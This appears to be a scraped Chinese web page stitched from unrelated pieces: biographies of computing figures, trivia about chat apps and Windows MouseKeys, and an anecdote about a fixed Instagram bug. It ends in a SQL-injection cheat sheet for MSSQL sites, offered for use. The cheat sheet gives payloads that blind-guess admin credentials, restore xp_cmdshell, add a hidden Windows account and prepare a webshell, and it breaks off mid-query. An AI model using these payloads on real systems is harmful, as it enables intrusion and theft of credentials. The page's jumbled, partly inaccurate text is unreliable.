保罗艾伦
他有取之不尽的财源、独树一帜的投资理念,也有与众不同的成功标准。
对于众多普通人来说:有钱的烦恼再多,似乎也比没钱的烦恼好。比如比尔·盖茨,尽管官司缠身、时不时要破财免灾、常常被对手和媒体指为“垄断”和“霸权”,但想想他的466亿美元身价,这点烦恼算得了什么。
但如果又有花不完的钱,又没有盖茨式的烦恼,岂不是更好!但天下有这等好事吗?
也许比尔·盖茨的前搭档保罗·艾伦应该是这样的幸运儿。
6月21日,民间航天工程“太空船一号”成功飞行,资助者保罗·艾伦又一次成为人们议论的焦点。他在谈论这次非凡的太空之旅时说:“‘太空船一号’是人类实现太空之旅的明证,同时它也表明,私人也就是非 *** 机构将在该领域的探索中发挥重大的作用。”
自从1983年因病离开微软后,媒体对艾伦的定义是,“一不留神成了亿万富翁”、“随心所欲的失败的投资者”、“最差经理人”等,似乎他只是因为早年幸运地与盖茨共创了微软,才积累了取之不尽用之不竭的财富(2004年,艾伦在《福布斯》富豪榜上名列第五,资产达210亿美元),而他在微软之后的商业活动基本上是失败的。
但保罗·艾伦绝对不会同意这种评价,他要告诉人们的是:他非常乐意享受目前的成功,这是一种用不同的成功标准所衡量的与众不同的成功投资,他对这种现状很满意,他从事着非同寻常的或高风险的投资,而不用顾及季度收入或股东回报。也许作家斯格特·菲茨杰拉尔德的话非常正确:“让我告诉你非常富有的人是什么样,他们与你我不同。”保罗·艾伦就是这样,他有着与众不同的管理规则,也有着不同的成功标准。他也非常真诚,不愿意把自己当成游手好闲的富人。他说:“美好的生活就是创造,无论是做音乐,编写程序,还是组合投资。”
美国《连线》杂志称:不善交际,但不是傲慢,这是理解艾伦处事方式的关键。由于他不善交际,因此媒体会得出关于他的简单定义,其实,艾伦是一个多层面的人,至少可以把他定义为:具有远见的人、热爱音乐的人、热爱运动的人、热爱航天的人、热爱家庭的人、与病魔抗争的人。另外,提到艾伦,人们总是称他为“投资家和慈善家”。总之,艾伦是一个特立独行、随心所欲的亿万富翁,他把源源不断的钱财投入自己喜爱的事情,而似乎对失败一点都不在意。
具有远见的人
如果没有抓住创立微软的机遇,艾伦可能只会是波音公司的一位工程师,或一家软件公司的雇员。艾伦非常谦逊,他并不认为自己有远见,也从来没有要求自己具备远见卓识,虽然他在高中时就具有创业家的气质。
他认为自己“非常幸运地出现在微电脑时代的开创阶段”。早在10年前,他就说过:“信息高速公路将是下一波潮流,你不能经常赶上两波这样的潮流。”
当然,最能证明他远见的是微软的创立,任何为微软立传的人都不能回避那段历史:1974年12月,艾伦看到新出的《大众电子》上关于世界之一台微机Altair8800的报道,他拿着杂志去找同校的盖茨,说服他一同创业,这才有了微软。人们也不应忘记盖茨的回忆:“保罗看见技术条件已经成熟。他老是说,再不干就迟了,我们将遗憾终生。”
随心所欲的投资人
离开微软后,艾伦在信息高速公路、多媒体、有线电视以及数字电器等市场频频出手,投入巨资,被吹捧为高科技最活跃的投资者之一。媒体形容他投资和兼并公司就像19世纪的大亨购买农庄、家畜、铁路和肉类加工厂一样。但这些投资很少有成功的,2003年《商业周刊》甚至将他列为最差经理人。
艾伦集团的高级经理比尔·萨沃里曾说,有一种“艾伦效应”,即一旦艾伦投资某个领域,就因为艾伦投资了,这个领域就会变得很有价值。现在又有另一种“艾伦效应”:远远不能盈利,他的公司几乎不需要开发出适应市场的、具有创新性的产品。公司的员工反映,在公司他们可以畅所欲言,但他们也有一个强烈的感受,这些公司更像基金会,而不是竞争性的公司。
热爱音乐的人
与艾伦接触,人们都会意识到艾伦的确没有傲慢的企业家气质。在伟大的艺术面前,他会很谦恭,如谈到摇滚歌手杰米.亨得里克斯时,他说:“听杰米的音乐是一件非常激动人心的事。”为此,他为亨得里克斯建立了一座博物馆。他说:“从严格意义上讲,我是一个业余音乐家,这里有些自学成才的人具有难以置信的天赋。”
他还说过:“我十分热爱编程,但是这无法与音乐相比。”他经常与著名音乐人共同演奏吉他,有时还会唱他自己写的歌《时间炸弹》:“我所做的一切似乎都是错的,但我的心气仍然高昂。”
热爱运动的人
他自己的家中有一个标准的篮球馆,有时还向员工开放。他先后投资了西雅图海鹰橄榄球队、NBA的波特兰拓荒者队,但这两项投资似乎也是失败的:队伍战绩糟糕,丑闻不断。
热爱科学的人
艾伦对科技的投资不止限于“太空船一号”,他从小就喜爱科幻小说,在他资助的项目中,科技占了很大比重,他曾捐资建立西雅图科幻博物馆及名人堂,博物馆里藏有各种科幻艺术作品,此外还捐资1350万美元用于寻找外星生命的“搜寻地外文明计划”。
热爱家庭的人
艾伦的妹妹朱迪·艾伦·巴顿负责管理他的基金会,她还是艾伦一家公司的副总裁及亨得里克斯博物馆的执行总裁,他的母亲住在华盛顿大学图书馆中,艾伦以已故父亲的名义向这座图书馆捐赠了1000万美元。
史蒂夫·乔布斯
Steve Jobs生于1955年。1972年高中毕业后,在波兰的一所大学中只念了一学期的书。1974年乔布斯在一家公司找到设计电脑游戏的工作。两年后,时年21岁的乔布斯和26岁的沃兹尼艾克在乔布斯家的车库里成立了苹果电脑公司。他们开发的苹果II具有4K内存,用户使用他们的电视机作为显示器,这就是之一台在市场上进行销售的个人电脑。
乔布斯后来说:“我很幸运,当计算机还是个年轻产业的时候,我进入了这个领域。当时拥有计算机学位的人不多,从业人员都是从物理、音乐、动物学等领域半途出家的优秀人才。他们对此有浓厚兴趣,没有谁是为了钱进了计算机这个行业的。” 1980年11月,苹果股票上升至每股22美金,乔布斯和沃兹尼艾克一夜之间变为百万富翁。1986年乔布斯买下了数字动画公司Pixar。这间公司如今已成为畅销动画电影《玩具总动员》和《虫虫危机》的 *** 厂商,它是乔布斯事业生涯中的第二个高峰。
1996年,苹果公司重新雇佣乔布斯作为其 *** 顾问。此时苹果经历了高层领导的不断更迭和经营不善之后,其营运情况每况愈下,财务收入开始萎缩。 1997年9月,乔布斯重返该公司任首席执行官,他对奄奄一息的苹果公司进行大刀阔斧的公司改组和一连串新产品降价促销的措施。终于在98第四个财政季度创造了一亿零九百万美元的利润,让“苹果”重新“红”了起来。目前苹果最热门的产品是最近上市的iMac。这个 All-In-One多媒体电脑机身湛蓝透明,据苹果公司统计, iMac订单已高达15万份。
乔布斯形容说:“当我重返苹果公司时,情况远比我想象的糟糕。苹果的职员被认为是一群失败者,他们几乎将放弃所有的努力。在头六个月里,我也经常想到认输。在我一生中,从来没有这么疲倦过,我晚上十点钟回到家里,径直上床一觉睡到第二天早晨六点,然后起床、冲澡、上班。妻子给了我很大的支持,再怎么赞扬她也不过分。”
乔布斯一上任就迅速砍掉了没有特色的业务。他告诉他的同僚,不必保证每个决定都是正确的,只要大多数的决定正确即可。因此不必害怕。有许多难以做出的决定,像砍掉无特色的业务,在今天看来十分明智,但当初做决定时却令人提心吊胆。
乔布斯有着火爆的管理风格,很多苹果职员多半不敢和他同乘电梯,唯恐电梯未坐完即被炒鱿鱼。但年届中年的他现在的性情已圆融了许多。他说:“我告诉你一个能够改变你看问题的 *** 的例子。一旦你有了孩子,就会自然而然地意识到每个人都是父母所生,应该有人像爱自己的孩子那样爱他们,这听起来并不深奥,但是许多人忽略了这一点。所以现在对我而言,解雇苹果公司的员工要比以前痛苦得多,但我没有办法,这是我的工作。我设身处地地想象他们回到家中告诉妻子儿女自己被雇的情景,我从来没有像现在这样感情用事过。”家庭美满或许是乔布斯事业成功的另一个原因。
乔布斯过去花许多时间寻找能够产生新产品的技术,但是现在由于工作的原因,不可能作深入的研究。他说有时在临睡前,会冒出一些平时想不到的点子。他在因特网的六个新闻站点上登记注册,每天能收到大约300份电子邮件,一些素不相识的人在里面大谈他们的新构想。
经历了多年的工作以后,乔布斯说:“太多的事情令人感到遗憾,但更大的遗憾莫过于那些你没去做的事。如果我早点明白现在才明白的道理,我可以把事情做得更好些,但这又怎么样呢?关键是要把握好现在。生命是短暂的,不久以后我们都将走到尽头,这就是现实。”
现在苹果公司的经营目标是成为计算机行业的“索尼”。苹果公司是唯一既搞硬件又搞软件,生产 *** 产品的个人电脑公司。这就意味着苹果公司能够推出更容易使用的系统,这是公司争取消费者的可靠资本。乔布斯表示技术不是最困难的,困难的是如何确定产品和目标消费者。除了电子、技术和生产能力外,你还必须有很强的市场营销能力。专家认为,虽然苹果的盈余与过去相比大有改善,但面对类似微软和康柏等强劲的竞争对手苹果仍需步步为营才不致再遭失败。
始终倾听消费者的需求、以极大的热忱贯彻“在一般人与高深的计算机之间搭起桥梁”的初衷,正是乔布斯最厉害的武器。不论是在苹果以艺术创造科技,或是在Pixar以科技创造艺术,乔布斯都孜孜不倦地设法使他的梦想变成现实:用计算机作工具,协助填补科技与艺术之间的鸿沟。
姓名 史蒂夫·乔布斯
英文名 Steve Jobs
出生年月 1955
学历 大学肄业
所创公司 苹果电脑公司
现任职务 苹果电脑公司首席执行官
米切尔·卡普尔
Mitch Kapor
出生年月1951年11月1日
出生国家、地点美国纽约布鲁克林
教育背景1971年获耶鲁大学心理学学士学位1978年获Beacon大学心理学硕士学位1980年,获MIT斯隆管理学院硕士学位职业背景1999年-2001年,著名风险投资公司Accel的合伙人1994年-1996年MIT媒体实验室任教1992年-至今卡普尔企业公司总裁1990年-1995,创办电子边疆基金会(FFF),并担任主席1986年-1987年,1994年-至今MIT助理/访问教授1987年-1990年任On公司CEO1982年-1986年创办Lotus公司,并担任CEO个人博客网站blogs.osafoundation.org/mitch/电子邮件(网址)Mitch@kapor.com联系地址Kapor Enterprises, Inc. 177 Post St., Suite 900San Francisco, CA 94108+1 415 392-0963如果你在卡普尔大学刚毕业时认识他,你肯定不会想到,这家伙以后会成为计算机软件业最成功的改革者之一。”
1951年,卡普尔生于长岛。卡普尔十分符合那个年代的的典型形象:无所顾虑又无忧无虑。从小爱好迪斯科和摇滚乐。并且多年来爱上LSD及其他非法毒品。在耶鲁大学,他专修心理学、语言学以及计算机学科,尤其是控制论,也开始对计算机萌生兴趣。1971年毕业后,工作漂泊不定。从电台的音乐主持人到滑稽演员都一一经历过。游荡4年后,他总觉得自己还缺点什么,于是25岁的卡普尔奔赴瑞士,参加一种"超觉 *** "培训。课程包括每天14小时的 *** 冥思,以及学会能让人浮到空中的能力(特异功能)。当然,最终没能修炼成功。回到美国,卡普尔又花了数年时间来搞清楚自己究竟是什么人。1978年,他在Beacon大学获得硕士学位。同时还在一家精神病机构工作,当一名服务员,其工作性质在精神上与"倒便盆"相当。期间,对计算机的兴趣帮助他消磨了大部分时间。
1978年,苹果将苹果Ⅱ型降到了1500美元左右,卡普尔四处张罗,终于买到了他的之一台计算机。买下计算机后没几天,这位口袋空空的无业游民邂逅了一位年轻人。他正向一位推销员询问新计算机的用途。卡普尔走上前去说:"我可以帮你学。"于是他就开始给他辅导计算机应用,报酬是每小时5美元。没过多久,他就大摇大摆地将自己宣传为"独立的计算机咨询(顾问)"。又过了一段时间,他又进入MIT的斯隆管理学院,想拿一个MBA学位充充门面,但没坚持几天,就退了学。后来到硅谷一家创业公司工作。
几个月后,他遇到了之一个电子表格软件VisiCalc的发明人。脑子里也想开发一种相似的软件,可以将电子表格的计算结果画成图表。他和另一位伙伴一同开发出了VisiPlot。VisiPlot一炮走红,VisiPlot的销售很快达到每月10万美元。不到一年,卡普尔与合伙人就赚到了1200万美元。卡普尔创造了他商业生涯的之一次成功。卡普尔终于领悟,要让自己心满意足,只有一条路:自己开公司,当自己的老板。
1981年,卡普尔与合伙人筹集资金开一家公司。定名时,想起了自己过去那段超凡脱俗的冥思经历,就将其定名为Lotus(莲花)。1983年,Lotus发展公司发布了它的之一个产品-Lotus1-2-3。这是软件史上之一个为用户提供屏蔽帮助内容并且在磁盘上附着使用指南的产品。他们还成立了一个客户支持部门,这在1983年是闻所未闻的。卡普尔预测,之一年可望达到200-300万美元。结果之一年的实际收入破天荒地达到5300万美元,并且成功地上了市。第二年飙升至1.56亿美元。第三年更高达2.58亿美元。Lotus1-2-3上市仅一年,VisiCalc就停止了销售,无法存活。1985年Lotus员工已达千人,是当时更大的独立软件公司。直到1988年4月,微软才超过Lotus,成为头号软件公司。1995年,Lotus以32亿美元的身份卖给了IBM。
1983年,卡普尔的地位就象苹果的乔布斯和当今微软的比尔·盖茨一样。但是,安稳永远不是卡普尔的天性。四年后,卡普尔卸掉官职,卡普尔说:"我只有保释,我恨这个公司也恨自己。我喜欢做自己内行的事。但是这份工作现在已经变味了。我也不喜欢权力。我对自己说,离开吧,去寻找新的自己想做的事。"卡普尔退了位,离开商业界,到MIT找了一份访问教授的工作。但是教了不到一年,他旧病复发,重新扎向商业的海洋。这一次,卡普尔成立了On技术公司,身兼总裁和CEO,一干就是三年。但没有人们期望中的成功。
1990年,卡普尔与已故的著名抒情诗人贝娄创建了电子前线基金(EFF),这个非赢利的公共利益机构,时常被人称为是计算机业的美国公民自由协会(ACLU)。EFF成立之初,万维网还未诞生,全球电信仍处于发展初期。而卡普尔就已前瞻性地看到了未来,并认识到法律对计算机的介入和管制。他们起初是维护黑客的权利,后来则更多地介入到华盛顿的政治中。EFF已在计算机和通信立法中起到了巨大的作用。卡普尔也经常出现在国会听证会上,并为戈尔的信息高速公路计划提供咨询。实际上计划的初稿就是卡普尔完成的。1994年进入了美国基础设施顾问委员会。人称他为信息高速公路的导师。EFF的故事也开始越来越走向复杂。他的总部也从剑桥移至华盛顿。活跃的领域也越来越大。卡普尔也不再是站在 *** 对面,为黑客辩护的"反对党",而越来越成为华盛顿的政治选手。这也使不少EFF的早期成员和支持者认为,EFF已经偏离了最初的纯洁使命了。开始招致越来越多的批评。
在80年代中期,卡普尔与盖茨是美国软件业的双子星,很难分出高下。卡普尔是硅谷黑客理念的真正体现:不遵循主流精神、富有创造、崇尚出世。盖茨是反基督的肖像,功利性强,十分入世,追求利益,他的公司也以压制自由而成功,出产丑陋、笨拙、纯粹以商业驱动的产品。与他相比,卡普尔更是一位民间的英雄。而盖茨则是主流社会的英雄。
罗伯特·莫里斯
莫里斯是在家里之一次接触计算机。莫里斯的父亲曾从NSA带回一台原始的神秘的密码机器,成为一家人的谈资,激起了他的强烈兴趣。他自己12岁就编出高质量电脑程序,18岁时,就具有在最负盛名的贝尔实验室和哈佛大学当过程序员的赫赫经历。难怪有人感叹:他的简历,简直像电脑名人录中的一样。
1988年冬天,正在康乃尔大学攻读的莫里斯,把一个被称为“蠕虫”的电脑病毒送进了美国更大的电脑 *** ——互联网。1988年11月2日下午5点,互联网的管理人员首次发现 *** 有不明入侵者。它们仿佛是 *** 中的超级间谍,狡猾地不断截取用户口令等 *** 中的“机密文件”,利用这些口令欺骗 *** 中的“哨兵”,长驱直入互联网中的用户电脑。入侵得手,立即反客为主,并闪电般地自我复制,抢占地盘。
用户目瞪口呆地看着这些不请自来的神秘入侵者迅速扩大战果,充斥电脑内存,使电脑莫名其妙地“死掉”,只好急如星火地向管理人员求援,哪知,他们此时四面楚歌,也只能眼睁睁地看着 *** 中电脑一批又一批地被病毒感染而“身亡”。当晚,从美国东海岸到西海岸,互联网用户陷入一片恐慌。到11月3日清晨5点,当加州伯克利分校的专家找出阻止病毒蔓延的办法时,短短12小时内,已有6200台采用Unix操作系统的SUN工作站和VAX小型机瘫痪或半瘫痪,不计其数的数据和资料毁于这一夜之间。造成一场损失近亿美元的空前大劫难!
当警方已侦破这一案件并认定莫里斯是闯下弥天大祸的“作者”时,纽约州法庭却迟迟难以对他定罪。在当时,对制造电脑病毒事件这类行为定罪,还是世界性的难题。前苏联在1987年曾发生过汽车厂的电脑人员用病毒破坏生产线的事件,法庭只能用“流氓罪”草草了事。
1990年5月5日,纽约地 *** 庭根据罗伯特·莫里斯设计病毒程序,造成包括国家航空和航天局、军事基地和主要大学的计算机停止运行的重大事故,判处莫里斯三年缓刑,罚款一万美金,义务为新区服务400小时。莫里斯事件震惊了美国社会乃至整个世界。而比事件影响更大、更深远的是:黑客从此真正变黑,黑客伦理失去约束,黑客传统开始中断。大众对黑客的印象永远不可能回复。而且,计算机病毒从此步入主流。
丹尼斯·利奇和肯·汤普生
在美国新泽西州墨里山区小城镇的中心矗立着一片毫不起眼的建筑群,世界闻名的贝尔实验室就在这里。具有ATT和朗讯双重背景的贝尔实验室在计算机软件领域有两大重要成就:C语言和Unix操作系统。目前主管着贝尔实验室软件系统研发部的是现年63岁的丹尼斯·利奇(Dennis M. Ritchie),这位已在贝尔实验室工作了近40年的著名科学家就是这两项技术当知无愧的发明者。
当初与利奇同期加入贝尔实验室的科学家中,多数人或是功成身退安享晚年或是自立门户日进斗金,而利奇还是一如既往的在这里工作。著名的《经济学人》杂志评价他是在C语言和Unix研发小组中唯一一位至今仍保持着年轻人热情和活力的伟大科学家。1983年,他和Unix的共同发明人肯·汤普生(Ken Thompson)同时荣获了美国计算机协会颁发的“图灵奖”,这也是作为一名技术人员的更高荣誉。
抛开其它,仅C语言和Unix这两项发明已让利奇成为一代又一代程序员们的偶像。在他之后加入贝尔实验室的“C++语言之父”Bjarne Stroustrup说:“如果丹尼斯没有在这里工作,而是决定把精力投入到像数学、物理等深奥的学科上,那Unix的开发项目很快就会以失败告终。”
利奇出生在纽约的Bronxville,他的父亲阿利斯泰尔·利奇(Alistair E. Ritchie)也是贝尔实验室的著名科学家,以至于有人开玩笑说:“丹尼斯完全继承了他父亲的传统。”由于家庭的影响,利奇从小就对物理和数学产生了浓厚的兴趣。他在高中毕业后进入哈佛大学攻读物理学,1963年拿到学士学位后继续留在学校,1968年又取得了数学博士学位。在校期间,他曾作为父亲的一名助手在实验室工作过一段时间,并在毕业后正式进入贝尔实验室的Multics系统研发小组,为由麻省工学院和GE公司共同投资的项目开发操作系统。
最初的Unix系统是用只有8000字节的内存和不到1兆硬盘的PDP-7计算机编写的,但却可以运行得相当流畅,这让利奇惊讶不已,从而决心和汤普生一起完善Unix系统。为了能更好的对现有Unix程序进行改编,利奇在原有的汤普生开发的B语言的基础上加入了新的数据类型和算法,于是C语言在1972年诞生了。两人又用C语言在PDP-11计算机上对Unix重新编写,而新版的Unix系统由于其在兼容性和数据综合处理上的优势很快就在学校、 *** 机关和一些企业间流传。在计算机语言繁多无法统一的情况下,编写Unix的C语言马上成为了当时更高级的程序语言并与Unix一同风靡。
Unix和C语言最初是免费公开的,但当时贝尔实验室的东家,ATT公司却执意要将其商用,这个事件引起了不小的风波,导致了后来的开源潮,也带出了1977年比尔·乔伊版本的Unix和后来的Linux。而所有的事情对利奇的影响微乎其微,在Unix之后,他又和同事一起开发了大型计算机操作系统Plan 9和Inferno以及朗讯的PathStar服务器系统,用利奇的话形容,“我的目的不是要制造产品,而是要为人们开发出新的工具。”
1999年,时任美国总统的克林顿亲自为利奇颁发了“国家技术勋章”。美国前商务部部长William M. Daley也评价到:“如此的发明(Unix和C语言)对人们的经济和生活的影响是无可比拟的,同时为现代计算机的操作系统和软件奠定了基础。”
经过多年的磨炼,Unix和C语言已经被广泛传播和应用。《经济学人》杂志形容它是“因为强大所以程序员们都爱用,因为程序员们都爱用所以它更强大”。美国耶鲁大学的计算机科学家David Gelernter在谈到利奇的成就时说:“比起单纯的技术,完美的艺术性才是计算机中最重要的,软件是复杂的,只有带有艺术性的产品才能克服无尽的烦琐。利奇的发明就是一件件美丽的艺术品。”
理查德·斯托曼
个人简介:
圈内头衔:无 (毫不隐藏!)
主要成就:老牌黑客。1971年,斯托曼在街上找到一份MIT的人工智能实验室的工作。当时他是哈佛大学的一名本科生。后来,斯托曼创立了自由软件基金,打破了软件是私有财产的概念。
之一次接触计算机:1969年在IBM 纽约科学中心,时值16岁。
自己独特的黑客工具:在上世纪 80年代, 斯托曼不拿MIT的薪水但继续在其中的一个办公室工作。在那里他创造了一个新的操作系统GNU--GNU是"GNU's Not Unix"的缩写。
鲜为人知的事实:曾获得麦克阿瑟基金24万美元天才奖。
五短身材,不修边幅,过肩长发,连鬓胡子,时髦的半袖沙滩上装,一副披头士的打扮。看起来象现代都市里的野人。如果他将一件"麻布僧袍"穿在身上,又戴上一顶圆形宽边帽子,有如绘画作品中环绕圣像头上的光环。一眨眼的功夫,他又变成圣经中的耶稣基督的样子,散发着先知般的威严和力量。野人与基督,恰恰就是自由软件的精神领袖理查德·斯托尔曼的双重属性:他既是当今专有(私有)商业软件领域野蛮的颠覆者,又是无数程序员和用户心目中神圣的自由之神。
在他的理论下,用户彼此拷贝软件不但不是"盗版",而是体现了人类天性的互助美德。对斯托尔曼来说,自由是根本,用户可自由共享软件成果,随便拷贝和修改代码。他说:"想想看,如果有人同你说:'只要你保证不拷贝给其他人用的话,我就把这些宝贝拷贝给你。'其实,这样的人才是魔鬼;而诱人当魔鬼的,则是卖高价软件的人。"可以断定,进入世纪末,软件业发生的更大变革就是自由软件的全面复兴。在自由软件的浪潮下,软件业的商业模式将脱胎换骨,从卖程序代码为中心,转化为以服务为中心。
作为今天的一名电脑用户,如果你的朋友希望你能为他复制一份受版权保护的程序,你不应当拒绝,合作精神比版权更重要。而且,这种合作不应只在地下进行,每个人都应该以此为荣,公开自己的诚实生活,对所有私有软件说"不"。
你应该可以公开、自由地与其他软件使用者合作,你有权了解软件的工作原理,并将其传授给你的学生,当软件发生问题时你完全可以雇用你所喜爱的程序员对它进行修改。你理应得到自由的软件。"
有人说,斯托尔曼应该算是世界上最伟大,软件写得最多的程序设计师。但是,斯托尔曼真正的力量,还是他的思想。因此,他最欣赏的英雄是南非的曼德拉。
李纳斯·托瓦兹
Linux这部史诗发端于赫尔辛基。似乎天下的黑客都在为自己的生命创作源程序,李纳斯也不例外。他的家就在离市中心不远的Kalevagatan(与卡勒瓦拉很相近)大街。这是一个19世纪的建筑与现代化平房交相呼应的地方。李纳斯与妻子住在这里。他的家很像是大学生的集体宿舍,楼梯下总放着一排排自行车。
李纳斯本人看起来就像一名学生,而不像道士。他中等身材,浅褐色头发,蓝眼睛,目光透过镜片直直地射向你,只有浓密的眉毛是黑色的,衬着一张孩子气的脸庞。他的房间四周排列着许多书籍,里面布满了油画和各种装饰品,相当低廉的窗帘,两把扶手椅之间挂着发干的鳄鱼皮,房间里还有两只目空一切的猫和几台计算机:三台PC,一台Power Mac,还有三台从DEC借来的基于Alpha芯片的微机。它们不起眼地布置在房间的角落中。另外一样很有意思的东西不易察觉:那是一根将计算机连到 *** 插座的导线,这是通向互联网的256K的专线,由当地的一家ISP安装并承担费用,它是对这位Linux道士的象征性奖励。
Linux并不是一件刻意创造的杰作,而完全是日月积累的结果,是经验、
Hacker is a term used to describe people who use computers. Hacker has multiple meanings. In some programming communities, the term refers to people skilled in computer programming, administration and security with legitimate goals. The word is also used in a derogatory way in some communities to refer to someone who is relatively unskilled in programming. Most people in the popular media and some in the general population use the word hacker to mean what is called in some programming communities a cracker, that is, a someone who partakes in illegal activity or lacks in ethics.
韩国流行的社交软件有:Kakaotalk、Spkey、或者GaGa(最新崛起的即时国际翻译聊天软件)。
她们使用Kakaotalk就像国人使用微信、 *** 一样那么轻松方便,如果你想要与自己的韩国朋友对话就要使用Kakaotalk或者Spkey,这是在有一定的韩语基础上才能够让你沟通无阻,如果你的韩语真的很烂,那么就也要学会使用GaGa与韩国朋友聊天了,免费的即时翻译让你没有语言的障碍。
「Kakao Talk」:
是一款来自韩国的由中国腾讯担任第二大股东的免费聊天软件,类似于 *** 微信的聊天软件, 可供iPhone、Android、WP、黑莓 等智能手机之间通讯的应用程序。本应用程序以实际 *** 号码来管理好友,借助推送通知服务,可以跟亲友和同事间快速收发信息,图片,视频,以及语音对讲。类似国内 *** ,即使好友不在线,好友也能接收你的kakao talk消息,就跟发短信一样。
2010年3月上线的KaKao出自一个创业团队,创始人背景雄厚。十多年前创立韩国更大游戏平台Hangame,后来担任韩国更大互联网集团NHN的CEO,KaKao则是他离职后推出的产品。KaKao总注册用户数6200万。每日信息发送数量是韩国三大运营商短信总数的三倍。在韩国智能手机55%的市场渗透率中,95%是KaKao的用户。
Skype是一款即时通讯软件,其具备IM所需的功能,比如视频聊天、多人语音会议、多人聊天、传送文件、文字聊天等功能。
GaGa,是一款基于国际翻译的社交移动应用软件,也是GaGaHi国际交友平台的手机应用软件。8种语言9种文字让你与世界每一个人无语言障碍的畅聊,通过嘎嘎让你结识全球每一个朋友,实时多语言翻译让你们彼此走进对方的心灵世界。
因为明星的私生活总是暴露在镜头之下。很多的狗仔队都是非常喜欢跟踪明星的。所以容易泄露。
现在不可以破解Ins 的秘密账户
前些年Instagram上发现一个漏洞,
允许未经许可的情况下破解任何Instagram帐户。
当用户输入他/她的手机号码时,
他们将向他们的手机号码发送一个六位数的密码。
他们必须输入它才能更改密码。
因此,如果能够在验证码端点上尝试所有一百万个代码,
就能够更改任何帐户的密码。
据悉,黑客能够通过这个漏洞重置任意Instagram账户的密码并取得其完全控制权。
该漏洞由一名来自印度的漏洞赏金猎人Laxman Muthiyah发现。
漏洞存在于ins移动端的密码恢复机制内,使用“密码重置”或“密码恢复”功能可使用户在忘记密码的情况下重新找回账户。
目前,这个漏洞已经被Instagram官方修复了,并且也给Laxman三万美元作为发现漏洞的奖励
一般情况下没有问题, *** 是:在“开始”菜单上选择“设置”,“控制面板”,在“控制面板”上双击“辅助选项”图标,单击“鼠标器”标签,然后单击“使用鼠标键”。这样就可以用键盘来控制鼠标的光标,模拟鼠标的鼠标键都指键盘右侧的小键盘(数字键盘),使用时要使NumLock 键处于有效状态。
以下就是鼠标键: 移动 8、2、4、6、7、9、1、3键,八个方位 长距离移动 Ctrl+以上八个键 选鼠标左键 / 选鼠标右键 — 单击 5 双击 + 拖曳 0(INS) 释放 。(Del) 由此看出,单击鼠标左键即为/,5,拖动窗口为: 先移动到窗口的标题栏,再按INS,然后用“移动”键 将窗口移到合适的位置,最后按Del。
入侵网站必备(经典语句)
.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass
password 等..
and 0(select count(*) from *)
and 0(select
count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到00)--
and 1=(select
count(*) from admin where len(用户字段名称name)0)
and 1=(select count(*) from
admin where len(_blank密码字段名称password)0)
5.猜解各个字段的长度
猜解长度就是把0变换 直到返回正确页面为止
and 1=(select count(*) from admin where
len(*)0)
and 1=(select count(*) from admin where len(name)6) 错误
and 1=(select count(*) from admin where len(name)5) 正确 长度是6
and
1=(select count(*) from admin where len(name)=6) 正确
and 1=(select
count(*) from admin where len(password)11) 正确
and 1=(select count(*)
from admin where len(password)12) 错误 长度是12
and 1=(select count(*) from
admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from
admin where left(name,1)=a) ---猜解用户帐号的之一位
and 1= (select count(*) from admin
where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1--
group by users.id, users.username,
users.password, users.privs having 1= 1--
; insert into users values( 666,
attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank_NAME
FROM INFORMATION_blank_SCHEMA.COLUMNS WHERE TABLE_blank
_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank_NAME FROM
INFORMATION_blank_SCHEMA.COLUMNS WHERE TABLE_blank_NAME=logintable WHERE
COLUMN_blank_NAME NOT IN (login_blank_id)-
UNION SELECT TOP 1
COLUMN_blank_NAME FROM INFORMATION_blank_SCHEMA.COLUMNS WHERE
TABLE_blank_NAME=logintable WHERE COLUMN_blank_NAME NOT IN
(login_blank_id,login_blank_name)-
UNION SELECT TOP 1
login_blank _name FROM logintable-
UNION SELECT TOP 1 password FROM
logintable where login_blank_name=Rahul--
看_blank服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看_blank数据库连接账号的权限,返回正常,证明是_blank服务器角色sysadmin权限。
and
1=(SELECT IS_blank_SRVROLEMEMBER(sysadmin))--
判断连接_blank数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT
System_blank_user)--
and user_blank_name()=dbo--
and
0(select user_blank_name()--
看xp_blank_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =
xp_blank_cmdshell)--
xp_blank_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC
master.dbo.sp_blank_addextendedproc xp_blank_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank_addextendedproc xp_blank_cmdshell,c:
\inetpub\wwwroot\xplog70.dll--
反向PING自己实验
;use master;declare @s
int;exec sp_blank_oacreate wscript.shell,@s out;exec sp_blank_oamethod
@s,run,NULL,cmd.exe /c ping 192.168.0.1;--
加帐号
;DECLARE @shell
INT EXEC SP_blank_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank
_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$
1866574 /add--
创建一个虚拟目录E盘:
;declare @o int exec
sp_blank_oacreate wscript.shell, @o out exec sp_blank_oamethod @o, run,
NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w 默认Web站点 -v e,e: \--
访问属性:(配合写入一个webshell)
declare @o int exec sp_blank_oacreate
wscript.shell, @o out exec sp_blank_oamethod @o, run, NULL, cscript.exe
c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库
特殊_blank技巧::%5c=\ 或者把/和\ 修改%5提交
and 0(select top 1 paths from
newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from
master.dbo.sysdatabases where dbid=7)--
and 0(select count(*) from
master.dbo.sysdatabases where name1 and dbid=6)
依次提交 dbid = 7,8,9....
得到更多的_blank数据库名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 (select top
